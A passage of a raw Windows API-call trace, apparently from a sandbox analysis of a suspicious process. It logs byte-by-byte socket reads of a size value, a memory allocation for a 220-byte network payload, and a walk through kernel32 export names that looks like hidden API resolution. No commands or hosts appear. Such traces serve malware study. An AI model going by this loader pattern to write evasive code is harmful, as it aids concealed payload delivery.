buf=0x2e7f85e, len=1, flags=0 | out: buf=0x2e7f85e*) returned 1 [0118.260] recv (in: s=0x544, buf=0x2e7f85f, len=1, flags=0 | out: buf=0x2e7f85f*) returned 1 [0118.260] recv (in: s=0x544, buf=0x2e7f860, len=1, flags=0 | out: buf=0x2e7f860*) returned 1 [0118.260] recv (in: s=0x544, buf=0x2e7f861, len=1, flags=0 | out: buf=0x2e7f861*) returned 1 [0118.260] recv (in: s=0x544, buf=0x2e7f862, len=1, flags=0 | out: buf=0x2e7f862*) returned 1 [0118.260] recv (in: s=0x544, buf=0x2e7f863, len=1, flags=0 | out: buf=0x2e7f863*) returned 1 [0118.260] recv (in: s=0x544, buf=0x2e7f864, len=1, flags=0 | out: buf=0x2e7f864*) returned 1 [0118.260] recv (in: s=0x544, buf=0x2e7f865, len=1, flags=0 | out: buf=0x2e7f865*) returned 1 [0118.260] recv (in: s=0x544, buf=0x2e7f866, len=1, flags=0 | out: buf=0x2e7f866*) returned 1 [0118.260] recv (in: s=0x544, buf=0x2e7f867, len=1, flags=0 | out: buf=0x2e7f867*) returned 1 [0118.260] recv (in: s=0x544, buf=0x2e7f868, len=1, flags=0 | out: buf=0x2e7f868*) returned 1 [0118.260] recv (in: s=0x544, buf=0x2e7f869, len=1, flags=0 | out: buf=0x2e7f869*) returned 1 [0118.260] recv (in: s=0x544, buf=0x2e7f86a, len=1, flags=0 | out: buf=0x2e7f86a*) returned 1 [0118.260] recv (in: s=0x544, buf=0x2e7f86b, len=1, flags=0 | out: buf=0x2e7f86b*) returned 1 [0118.260] recv (in: s=0x544, buf=0x2e7f86c, len=1, flags=0 | out: buf=0x2e7f86c*) returned 1 [0118.261] recv (in: s=0x544, buf=0x2e7f86d, len=1, flags=0 | out: buf=0x2e7f86d*) returned 1 [0118.261] recv (in: s=0x544, buf=0x2e7f86e, len=1, flags=0 | out: buf=0x2e7f86e*) returned 1 [0118.261] recv (in: s=0x544, buf=0x2e7f86f, len=1, flags=0 | out: buf=0x2e7f86f*) returned 1 [0118.261] recv (in: s=0x544, buf=0x2e7f870, len=1, flags=0 | out: buf=0x2e7f870*) returned 1 [0118.261] recv (in: s=0x544, buf=0x2e7f871, len=1, flags=0 | out: buf=0x2e7f871*) returned 1 [0118.261] recv (in: s=0x544, buf=0x2e7f872, len=1, flags=0 | out: buf=0x2e7f872*) returned 1 [0118.261] recv (in: s=0x544, buf=0x2e7f873, len=1, flags=0 | out: buf=0x2e7f873*) returned 1 [0118.261] recv (in: s=0x544, buf=0x2e7f874, len=1, flags=0 | out: buf=0x2e7f874*) returned 1 [0118.261] recv (in: s=0x544, buf=0x2e7f875, len=1, flags=0 | out: buf=0x2e7f875*) returned 1 [0118.261] recv (in: s=0x544, buf=0x2e7f876, len=1, flags=0 | out: buf=0x2e7f876*) returned 1 [0118.261] recv (in: s=0x544, buf=0x2e7f877, len=1, flags=0 | out: buf=0x2e7f877*) returned 1 [0118.261] recv (in: s=0x544, buf=0x2e7f878, len=1, flags=0 | out: buf=0x2e7f878*) returned 1 [0118.261] recv (in: s=0x544, buf=0x2e7f879, len=1, flags=0 | out: buf=0x2e7f879*) returned 1 [0118.261] recv (in: s=0x544, buf=0x2e7f87a, len=1, flags=0 | out: buf=0x2e7f87a*) returned 1 [0118.262] recv (in: s=0x544, buf=0x2e7f87b, len=1, flags=0 | out: buf=0x2e7f87b*) returned 1 [0118.262] recv (in: s=0x544, buf=0x2e7f87c, len=1, flags=0 | out: buf=0x2e7f87c*) returned 1 [0118.262] recv (in: s=0x544, buf=0x2e7f87d, len=1, flags=0 | out: buf=0x2e7f87d*) returned 1 [0118.262] recv (in: s=0x544, buf=0x2e7f87e, len=1, flags=0 | out: buf=0x2e7f87e*) returned 1 [0118.262] recv (in: s=0x544, buf=0x2e7f87f, len=1, flags=0 | out: buf=0x2e7f87f*) returned 1 [0118.262] recv (in: s=0x544, buf=0x2e7f880, len=1, flags=0 | out: buf=0x2e7f880*) returned 1 [0118.262] recv (in: s=0x544, buf=0x2e7f881, len=1, flags=0 | out: buf=0x2e7f881*) returned 1 [0118.262] recv (in: s=0x544, buf=0x2e7f882, len=1, flags=0 | out: buf=0x2e7f882*) returned 1 [0118.262] recv (in: s=0x544, buf=0x2e7f883, len=1, flags=0 | out: buf=0x2e7f883*) returned 1 [0118.262] recv (in: s=0x544, buf=0x2e7f884, len=1, flags=0 | out: buf=0x2e7f884*) returned 1 [0118.262] recv (in: s=0x544, buf=0x2e7f885, len=1, flags=0 | out: buf=0x2e7f885*) returned 1 [0118.262] recv (in: s=0x544, buf=0x2e7f886, len=1, flags=0 | out: buf=0x2e7f886*) returned 1 [0118.262] recv (in: s=0x544, buf=0x2e7f887, len=1, flags=0 | out: buf=0x2e7f887*) returned 1 [0118.262] recv (in: s=0x544, buf=0x2e7f888, len=1, flags=0 | out: buf=0x2e7f888*) returned 1 [0118.262] recv (in: s=0x544, buf=0x2e7f889, len=1, flags=0 | out: buf=0x2e7f889*) returned 1 [0118.263] recv (in: s=0x544, buf=0x2e7f88a, len=1, flags=0 | out: buf=0x2e7f88a*) returned 1 [0118.263] recv (in: s=0x544, buf=0x2e7f88b, len=1, flags=0 | out: buf=0x2e7f88b*) returned 1 [0118.263] recv (in: s=0x544, buf=0x2e7f88c, len=1, flags=0 | out: buf=0x2e7f88c*) returned 1 [0118.263] recv (in: s=0x544, buf=0x2e7f88d, len=1, flags=0 | out: buf=0x2e7f88d*) returned 1 [0118.263] recv (in: s=0x544, buf=0x2e7f88e, len=1, flags=0 | out: buf=0x2e7f88e*) returned 1 [0118.263] recv (in: s=0x544, buf=0x2e7f88f, len=1, flags=0 | out: buf=0x2e7f88f*) returned 1 [0118.263] recv (in: s=0x544, buf=0x2e7f890, len=1, flags=0 | out: buf=0x2e7f890*) returned 1 [0118.263] recv (in: s=0x544, buf=0x2e7f891, len=1, flags=0 | out: buf=0x2e7f891*) returned 1 [0118.263] recv (in: s=0x544, buf=0x2e7f892, len=1, flags=0 | out: buf=0x2e7f892*) returned 1 [0118.263] recv (in: s=0x544, buf=0x2e7f893, len=1, flags=0 | out: buf=0x2e7f893*) returned 1 [0118.263] recv (in: s=0x544, buf=0x2e7f894, len=1, flags=0 | out: buf=0x2e7f894*) returned 1 [0118.263] recv (in: s=0x544, buf=0x2e7f895, len=1, flags=0 | out: buf=0x2e7f895*) returned 1 [0118.263] recv (in: s=0x544, buf=0x2e7f896, len=1, flags=0 | out: buf=0x2e7f896*) returned 1 [0118.263] recv (in: s=0x544, buf=0x2e7f897, len=1, flags=0 | out: buf=0x2e7f897*) returned 1 [0118.264] recv (in: s=0x544, buf=0x2e7f898, len=1, flags=0 | out: buf=0x2e7f898*) returned 1 [0118.264] recv (in: s=0x544, buf=0x2e7f899, len=1, flags=0 | out: buf=0x2e7f899*) returned 1 [0118.264] recv (in: s=0x544, buf=0x2e7f89a, len=1, flags=0 | out: buf=0x2e7f89a*) returned 1 [0118.264] recv (in: s=0x544, buf=0x2e7f89b, len=1, flags=0 | out: buf=0x2e7f89b*) returned 1 [0118.264] recv (in: s=0x544, buf=0x2e7f89c, len=1, flags=0 | out: buf=0x2e7f89c*) returned 1 [0118.264] recv (in: s=0x544, buf=0x2e7f89d, len=1, flags=0 | out: buf=0x2e7f89d*) returned 1 [0118.264] recv (in: s=0x544, buf=0x2e7f89e, len=1, flags=0 | out: buf=0x2e7f89e*) returned 1 [0118.264] recv (in: s=0x544, buf=0x2e7f89f, len=1, flags=0 | out: buf=0x2e7f89f*) returned 1 [0118.264] recv (in: s=0x544, buf=0x2e7f8a0, len=1, flags=0 | out: buf=0x2e7f8a0*) returned 1 [0118.264] recv (in: s=0x544, buf=0x2e7f8a1, len=1, flags=0 | out: buf=0x2e7f8a1*) returned 1 [0118.264] recv (in: s=0x544, buf=0x2e7f8a2, len=1, flags=0 | out: buf=0x2e7f8a2*) returned 1 [0118.264] recv (in: s=0x544, buf=0x2e7f8a3, len=1, flags=0 | out: buf=0x2e7f8a3*) returned 1 [0118.264] recv (in: s=0x544, buf=0x2e7f8a4, len=1, flags=0 | out: buf=0x2e7f8a4*) returned 1 [0118.264] recv (in: s=0x544, buf=0x2e7f8a5, len=1, flags=0 | out: buf=0x2e7f8a5*) returned 1 [0118.265] recv (in: s=0x544, buf=0x2e7f8a6, len=1, flags=0 | out: buf=0x2e7f8a6*) returned 1 [0118.265] recv (in: s=0x544, buf=0x2e7f8a7, len=1, flags=0 | out: buf=0x2e7f8a7*) returned 1 [0118.265] recv (in: s=0x544, buf=0x2e7f8a8, len=1, flags=0 | out: buf=0x2e7f8a8*) returned 1 [0118.265] recv (in: s=0x544, buf=0x2e7f8a9, len=1, flags=0 | out: buf=0x2e7f8a9*) returned 1 [0118.265] recv (in: s=0x544, buf=0x2e7f8aa, len=1, flags=0 | out: buf=0x2e7f8aa*) returned 1 [0118.265] recv (in: s=0x544, buf=0x2e7f8ab, len=1, flags=0 | out: buf=0x2e7f8ab*) returned 1 [0118.265] recv (in: s=0x544, buf=0x2e7f8ac, len=1, flags=0 | out: buf=0x2e7f8ac*) returned 1 [0118.265] recv (in: s=0x544, buf=0x2e7f8ad, len=1, flags=0 | out: buf=0x2e7f8ad*) returned 1 [0118.265] recv (in: s=0x544, buf=0x2e7f8ae, len=1, flags=0 | out: buf=0x2e7f8ae*) returned 1 [0118.265] recv (in: s=0x544, buf=0x2e7f8af, len=1, flags=0 | out: buf=0x2e7f8af*) returned 1 [0118.265] recv (in: s=0x544, buf=0x2e7f8b0, len=1, flags=0 | out: buf=0x2e7f8b0*) returned 1 [0118.265] recv (in: s=0x544, buf=0x2e7f8b1, len=1, flags=0 | out: buf=0x2e7f8b1*) returned 1 [0118.265] recv (in: s=0x544, buf=0x2e7f8b2, len=1, flags=0 | out: buf=0x2e7f8b2*) returned 1 [0118.265] recv (in: s=0x544, buf=0x2e7f8b3, len=1, flags=0 | out: buf=0x2e7f8b3*) returned 1 [0118.266] recv (in: s=0x544, buf=0x2e7f8b4, len=1, flags=0 | out: buf=0x2e7f8b4*) returned 1 [0118.266] recv (in: s=0x544, buf=0x2e7f8b5, len=1, flags=0 | out: buf=0x2e7f8b5*) returned 1 [0118.266] recv (in: s=0x544, buf=0x2e7f8b6, len=1, flags=0 | out: buf=0x2e7f8b6*) returned 1 [0118.266] recv (in: s=0x544, buf=0x2e7f8b7, len=1, flags=0 | out: buf=0x2e7f8b7*) returned 1 [0118.266] recv (in: s=0x544, buf=0x2e7f8b8, len=1, flags=0 | out: buf=0x2e7f8b8*) returned 1 [0118.266] recv (in: s=0x544, buf=0x2e7f8b9, len=1, flags=0 | out: buf=0x2e7f8b9*) returned 1 [0118.266] recv (in: s=0x544, buf=0x2e7f8ba, len=1, flags=0 | out: buf=0x2e7f8ba*) returned 1 [0118.266] recv (in: s=0x544, buf=0x2e7f8bb, len=1, flags=0 | out: buf=0x2e7f8bb*) returned 1 [0118.266] recv (in: s=0x544, buf=0x2e7f8bc, len=1, flags=0 | out: buf=0x2e7f8bc*) returned 1 [0118.266] recv (in: s=0x544, buf=0x2e7f8bd, len=1, flags=0 | out: buf=0x2e7f8bd*) returned 1 [0118.266] recv (in: s=0x544, buf=0x2e7f8be, len=1, flags=0 | out: buf=0x2e7f8be*) returned 1 [0118.266] recv (in: s=0x544, buf=0x2e7f8bf, len=1, flags=0 | out: buf=0x2e7f8bf*) returned 1 [0118.266] recv (in: s=0x544, buf=0x2e7f8c0, len=1, flags=0 | out: buf=0x2e7f8c0*) returned 1 [0118.266] recv (in: s=0x544, buf=0x2e7f8c1, len=1, flags=0 | out: buf=0x2e7f8c1*) returned 1 [0118.267] recv (in: s=0x544, buf=0x2e7f8c2, len=1, flags=0 | out: buf=0x2e7f8c2*) returned 1 [0118.267] recv (in: s=0x544, buf=0x2e7f8c3, len=1, flags=0 | out: buf=0x2e7f8c3*) returned 1 [0118.267] recv (in: s=0x544, buf=0x2e7f8c4, len=1, flags=0 | out: buf=0x2e7f8c4*) returned 1 [0118.267] recv (in: s=0x544, buf=0x2e7f8c5, len=1, flags=0 | out: buf=0x2e7f8c5*) returned 1 [0118.267] recv (in: s=0x544, buf=0x2e7f8c6, len=1, flags=0 | out: buf=0x2e7f8c6*) returned 1 [0118.267] recv (in: s=0x544, buf=0x2e7f8c7, len=1, flags=0 | out: buf=0x2e7f8c7*) returned 1 [0118.267] recv (in: s=0x544, buf=0x2e7f8c8, len=1, flags=0 | out: buf=0x2e7f8c8*) returned 1 [0118.267] recv (in: s=0x544, buf=0x2e7f8c9, len=1, flags=0 | out: buf=0x2e7f8c9*) returned 1 [0118.267] recv (in: s=0x544, buf=0x2e7f8ca, len=1, flags=0 | out: buf=0x2e7f8ca*) returned 1 [0118.267] recv (in: s=0x544, buf=0x2e7f8cb, len=1, flags=0 | out: buf=0x2e7f8cb*) returned 1 [0118.267] recv (in: s=0x544, buf=0x2e7f8cc, len=1, flags=0 | out: buf=0x2e7f8cc*) returned 1 [0118.267] recv (in: s=0x544, buf=0x2e7f8cd, len=1, flags=0 | out: buf=0x2e7f8cd*) returned 1 [0118.267] recv (in: s=0x544, buf=0x2e7f8ce, len=1, flags=0 | out: buf=0x2e7f8ce*) returned 1 [0118.267] recv (in: s=0x544, buf=0x2e7f8cf, len=1, flags=0 | out: buf=0x2e7f8cf*) returned 1 [0118.268] recv (in: s=0x544, buf=0x2e7f8d0, len=1, flags=0 | out: buf=0x2e7f8d0*) returned 1 [0118.268] recv (in: s=0x544, buf=0x2e7f8d1, len=1, flags=0 | out: buf=0x2e7f8d1*) returned 1 [0118.268] recv (in: s=0x544, buf=0x2e7f8d2, len=1, flags=0 | out: buf=0x2e7f8d2*) returned 1 [0118.268] recv (in: s=0x544, buf=0x2e7f8d3, len=1, flags=0 | out: buf=0x2e7f8d3*) returned 1 [0118.268] recv (in: s=0x544, buf=0x2e7f8d4, len=1, flags=0 | out: buf=0x2e7f8d4*) returned 1 [0118.268] recv (in: s=0x544, buf=0x2e7f8d5, len=1, flags=0 | out: buf=0x2e7f8d5*) returned 1 [0118.268] recv (in: s=0x544, buf=0x2e7f8d6, len=1, flags=0 | out: buf=0x2e7f8d6*) returned 1 [0118.268] recv (in: s=0x544, buf=0x2e7f8d7, len=1, flags=0 | out: buf=0x2e7f8d7*) returned 1 [0118.268] recv (in: s=0x544, buf=0x2e7f8d8, len=1, flags=0 | out: buf=0x2e7f8d8*) returned 1 [0118.268] recv (in: s=0x544, buf=0x2e7f8d9, len=1, flags=0 | out: buf=0x2e7f8d9*) returned 1 [0118.268] recv (in: s=0x544, buf=0x2e7f8da, len=1, flags=0 | out: buf=0x2e7f8da*) returned 1 [0118.268] recv (in: s=0x544, buf=0x2e7f8db, len=1, flags=0 | out: buf=0x2e7f8db*) returned 1 [0118.269] recv (in: s=0x544, buf=0x2e7f8dc, len=1, flags=0 | out: buf=0x2e7f8dc*) returned 1 [0118.269] recv (in: s=0x544, buf=0x2e7f8dd, len=1, flags=0 | out: buf=0x2e7f8dd*) returned 1 [0118.269] recv (in: s=0x544, buf=0x2e7f8de, len=1, flags=0 | out: buf=0x2e7f8de*) returned 1 [0118.269] recv (in: s=0x544, buf=0x2e7f8df, len=1, flags=0 | out: buf=0x2e7f8df*) returned 1 [0118.269] recv (in: s=0x544, buf=0x2e7f8e0, len=1, flags=0 | out: buf=0x2e7f8e0*) returned 1 [0118.269] recv (in: s=0x544, buf=0x2e7f8e1, len=1, flags=0 | out: buf=0x2e7f8e1*) returned 1 [0118.269] recv (in: s=0x544, buf=0x2e7f8e2, len=1, flags=0 | out: buf=0x2e7f8e2*) returned 1 [0118.269] recv (in: s=0x544, buf=0x2e7f8e3, len=1, flags=0 | out: buf=0x2e7f8e3*) returned 1 [0118.269] recv (in: s=0x544, buf=0x2e7f8e4, len=1, flags=0 | out: buf=0x2e7f8e4*) returned 1 [0118.269] recv (in: s=0x544, buf=0x2e7f8e5, len=1, flags=0 | out: buf=0x2e7f8e5*) returned 1 [0118.269] recv (in: s=0x544, buf=0x2e7f8e6, len=1, flags=0 | out: buf=0x2e7f8e6*) returned 1 [0118.269] StrToIntA (lpSrc="220") returned 220 [0118.269] VirtualAlloc (lpAddress=0x0, dwSize=0xdc, flAllocationType=0x3000, flProtect=0x4) returned 0x3cb0000 [0118.270] recv (in: s=0x544, buf=0x3cb0000, len=220, flags=0 | out: buf=0x3cb0000*) returned 220 [0118.270] VirtualFree (lpAddress=0x30b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0118.270] VirtualFree (lpAddress=0x31c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0118.270] VirtualFree (lpAddress=0x3c80000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0118.271] closesocket (s=0x544) returned 0 [0118.271] WSACleanup () returned 0 [0118.271] VirtualFree (lpAddress=0x3030000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0118.271] VirtualFree (lpAddress=0x3040000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0118.271] VirtualFree (lpAddress=0x3020000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0118.271] VirtualFree (lpAddress=0x3000000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0118.272] VirtualFree (lpAddress=0x3010000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0118.272] lstrlenA (lpString="kernel32.dll") returned 12 [0118.272] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0118.272] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AcquireSRWLockExclusive" | out: lpString1="AcquireSRWLockExclusive") returned="AcquireSRWLockExclusive" [0118.272] lstrlenA (lpString="ACQUIRESRWLOCKEXCLUSIVE") returned 23 [0118.272] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AcquireSRWLockShared" | out: lpString1="AcquireSRWLockShared") returned="AcquireSRWLockShared" [0118.272] lstrlenA (lpString="ACQUIRESRWLOCKSHARED") returned 20 [0118.272] lstrcpyA (in: lpString1=0x2e7f298, lpString2="ActivateActCtx" | out: lpString1="ActivateActCtx") returned="ActivateActCtx" [0118.272] lstrlenA (lpString="ACTIVATEACTCTX") returned 14 [0118.272] lstrcpyA (in: lpString1=0x2e7f298, lpString2="ActivateActCtxWorker" | out: lpString1="ActivateActCtxWorker") returned="ActivateActCtxWorker" [0118.272] lstrlenA (lpString="ACTIVATEACTCTXWORKER") returned 20 [0118.272] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AddAtomA" | out: lpString1="AddAtomA") returned="AddAtomA" [0118.272] lstrlenA (lpString="ADDATOMA") returned 8 [0118.272] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AddAtomW" | out: lpString1="AddAtomW") returned="AddAtomW" [0118.272] lstrlenA (lpString="ADDATOMW") returned 8 [0118.272] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AddConsoleAliasA" | out: lpString1="AddConsoleAliasA") returned="AddConsoleAliasA" [0118.272] lstrlenA (lpString="ADDCONSOLEALIASA") returned 16 [0118.272] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AddConsoleAliasW" | out: lpString1="AddConsoleAliasW") returned="AddConsoleAliasW" [0118.272] lstrlenA (lpString="ADDCONSOLEALIASW") returned 16 [0118.272] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AddDllDirectory" | out: lpString1="AddDllDirectory") returned="AddDllDirectory" [0118.273] lstrlenA (lpString="ADDDLLDIRECTORY") returned 15 [0118.273] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AddIntegrityLabelToBoundaryDescriptor" | out: lpString1="AddIntegrityLabelToBoundaryDescriptor") returned="AddIntegrityLabelToBoundaryDescriptor" [0118.273] lstrlenA (lpString="ADDINTEGRITYLABELTOBOUNDARYDESCRIPTOR") returned 37 [0118.273] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AddLocalAlternateComputerNameA" | out: lpString1="AddLocalAlternateComputerNameA") returned="AddLocalAlternateComputerNameA" [0118.273] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEA") returned 30 [0118.273] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AddLocalAlternateComputerNameW" | out: lpString1="AddLocalAlternateComputerNameW") returned="AddLocalAlternateComputerNameW" [0118.273] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEW") returned 30 [0118.273] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AddRefActCtx" | out: lpString1="AddRefActCtx") returned="AddRefActCtx" [0118.273] lstrlenA (lpString="ADDREFACTCTX") returned 12 [0118.273] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AddRefActCtxWorker" | out: lpString1="AddRefActCtxWorker") returned="AddRefActCtxWorker" [0118.273] lstrlenA (lpString="ADDREFACTCTXWORKER") returned 18 [0118.273] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AddResourceAttributeAce" | out: lpString1="AddResourceAttributeAce") returned="AddResourceAttributeAce" [0118.273] lstrlenA (lpString="ADDRESOURCEATTRIBUTEACE") returned 23 [0118.273] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AddSIDToBoundaryDescriptor" | out: lpString1="AddSIDToBoundaryDescriptor") returned="AddSIDToBoundaryDescriptor" [0118.273] lstrlenA (lpString="ADDSIDTOBOUNDARYDESCRIPTOR") returned 26 [0118.273] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AddScopedPolicyIDAce" | out: lpString1="AddScopedPolicyIDAce") returned="AddScopedPolicyIDAce" [0118.273] lstrlenA (lpString="ADDSCOPEDPOLICYIDACE") returned 20 [0118.273] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AddSecureMemoryCacheCallback" | out: lpString1="AddSecureMemoryCacheCallback") returned="AddSecureMemoryCacheCallback" [0118.273] lstrlenA (lpString="ADDSECUREMEMORYCACHECALLBACK") returned 28 [0118.273] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AddVectoredContinueHandler" | out: lpString1="AddVectoredContinueHandler") returned="AddVectoredContinueHandler" [0118.273] lstrlenA (lpString="ADDVECTOREDCONTINUEHANDLER") returned 26 [0118.273] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AddVectoredExceptionHandler" | out: lpString1="AddVectoredExceptionHandler") returned="AddVectoredExceptionHandler" [0118.273] lstrlenA (lpString="ADDVECTOREDEXCEPTIONHANDLER") returned 27 [0118.273] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AdjustCalendarDate" | out: lpString1="AdjustCalendarDate") returned="AdjustCalendarDate" [0118.273] lstrlenA (lpString="ADJUSTCALENDARDATE") returned 18 [0118.273] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AllocConsole" | out: lpString1="AllocConsole") returned="AllocConsole" [0118.273] lstrlenA (lpString="ALLOCCONSOLE") returned 12 [0118.273] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AllocateUserPhysicalPages" | out: lpString1="AllocateUserPhysicalPages") returned="AllocateUserPhysicalPages" [0118.273] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGES") returned 25 [0118.273] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AllocateUserPhysicalPagesNuma" | out: lpString1="AllocateUserPhysicalPagesNuma") returned="AllocateUserPhysicalPagesNuma" [0118.273] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGESNUMA") returned 29 [0118.273] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AppPolicyGetClrCompat" | out: lpString1="AppPolicyGetClrCompat") returned="AppPolicyGetClrCompat" [0118.273] lstrlenA (lpString="APPPOLICYGETCLRCOMPAT") returned 21 [0118.273] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AppPolicyGetCreateFileAccess" | out: lpString1="AppPolicyGetCreateFileAccess") returned="AppPolicyGetCreateFileAccess" [0118.273] lstrlenA (lpString="APPPOLICYGETCREATEFILEACCESS") returned 28 [0118.273] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AppPolicyGetLifecycleManagement" | out: lpString1="AppPolicyGetLifecycleManagement") returned="AppPolicyGetLifecycleManagement" [0118.273] lstrlenA (lpString="APPPOLICYGETLIFECYCLEMANAGEMENT") returned 31 [0118.273] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AppPolicyGetMediaFoundationCodecLoading" | out: lpString1="AppPolicyGetMediaFoundationCodecLoading") returned="AppPolicyGetMediaFoundationCodecLoading" [0118.273] lstrlenA (lpString="APPPOLICYGETMEDIAFOUNDATIONCODECLOADING") returned 39 [0118.273] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AppPolicyGetProcessTerminationMethod" | out: lpString1="AppPolicyGetProcessTerminationMethod") returned="AppPolicyGetProcessTerminationMethod" [0118.273] lstrlenA (lpString="APPPOLICYGETPROCESSTERMINATIONMETHOD") returned 36 [0118.274] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AppPolicyGetShowDeveloperDiagnostic" | out: lpString1="AppPolicyGetShowDeveloperDiagnostic") returned="AppPolicyGetShowDeveloperDiagnostic" [0118.274] lstrlenA (lpString="APPPOLICYGETSHOWDEVELOPERDIAGNOSTIC") returned 35 [0118.274] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AppPolicyGetThreadInitializationType" | out: lpString1="AppPolicyGetThreadInitializationType") returned="AppPolicyGetThreadInitializationType" [0118.274] lstrlenA (lpString="APPPOLICYGETTHREADINITIALIZATIONTYPE") returned 36 [0118.274] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AppPolicyGetWindowingModel" | out: lpString1="AppPolicyGetWindowingModel") returned="AppPolicyGetWindowingModel" [0118.274] lstrlenA (lpString="APPPOLICYGETWINDOWINGMODEL") returned 26 [0118.274] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AppXGetOSMaxVersionTested" | out: lpString1="AppXGetOSMaxVersionTested") returned="AppXGetOSMaxVersionTested" [0118.274] lstrlenA (lpString="APPXGETOSMAXVERSIONTESTED") returned 25 [0118.274] lstrcpyA (in: lpString1=0x2e7f298, lpString2="ApplicationRecoveryFinished" | out: lpString1="ApplicationRecoveryFinished") returned="ApplicationRecoveryFinished" [0118.274] lstrlenA (lpString="APPLICATIONRECOVERYFINISHED") returned 27 [0118.274] lstrcpyA (in: lpString1=0x2e7f298, lpString2="ApplicationRecoveryInProgress" | out: lpString1="ApplicationRecoveryInProgress") returned="ApplicationRecoveryInProgress" [0118.274] lstrlenA (lpString="APPLICATIONRECOVERYINPROGRESS") returned 29 [0118.274] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AreFileApisANSI" | out: lpString1="AreFileApisANSI") returned="AreFileApisANSI" [0118.274] lstrlenA (lpString="AREFILEAPISANSI") returned 15 [0118.274] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AssignProcessToJobObject" | out: lpString1="AssignProcessToJobObject") returned="AssignProcessToJobObject" [0118.274] lstrlenA (lpString="ASSIGNPROCESSTOJOBOBJECT") returned 24 [0118.274] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AttachConsole" | out: lpString1="AttachConsole") returned="AttachConsole" [0118.274] lstrlenA (lpString="ATTACHCONSOLE") returned 13 [0118.274] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BackupRead" | out: lpString1="BackupRead") returned="BackupRead" [0118.274] lstrlenA (lpString="BACKUPREAD") returned 10 [0118.274] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BackupSeek" | out: lpString1="BackupSeek") returned="BackupSeek" [0118.274] lstrlenA (lpString="BACKUPSEEK") returned 10 [0118.274] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BackupWrite" | out: lpString1="BackupWrite") returned="BackupWrite" [0118.274] lstrlenA (lpString="BACKUPWRITE") returned 11 [0118.274] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseCheckAppcompatCache" | out: lpString1="BaseCheckAppcompatCache") returned="BaseCheckAppcompatCache" [0118.274] lstrlenA (lpString="BASECHECKAPPCOMPATCACHE") returned 23 [0118.274] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseCheckAppcompatCacheEx" | out: lpString1="BaseCheckAppcompatCacheEx") returned="BaseCheckAppcompatCacheEx" [0118.274] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEEX") returned 25 [0118.274] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseCheckAppcompatCacheExWorker" | out: lpString1="BaseCheckAppcompatCacheExWorker") returned="BaseCheckAppcompatCacheExWorker" [0118.274] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEEXWORKER") returned 31 [0118.274] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseCheckAppcompatCacheWorker" | out: lpString1="BaseCheckAppcompatCacheWorker") returned="BaseCheckAppcompatCacheWorker" [0118.275] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEWORKER") returned 29 [0118.275] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseCheckElevation" | out: lpString1="BaseCheckElevation") returned="BaseCheckElevation" [0118.275] lstrlenA (lpString="BASECHECKELEVATION") returned 18 [0118.275] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseCleanupAppcompatCacheSupport" | out: lpString1="BaseCleanupAppcompatCacheSupport") returned="BaseCleanupAppcompatCacheSupport" [0118.275] lstrlenA (lpString="BASECLEANUPAPPCOMPATCACHESUPPORT") returned 32 [0118.275] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseCleanupAppcompatCacheSupportWorker" | out: lpString1="BaseCleanupAppcompatCacheSupportWorker") returned="BaseCleanupAppcompatCacheSupportWorker" [0118.275] lstrlenA (lpString="BASECLEANUPAPPCOMPATCACHESUPPORTWORKER") returned 38 [0118.275] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseDestroyVDMEnvironment" | out: lpString1="BaseDestroyVDMEnvironment") 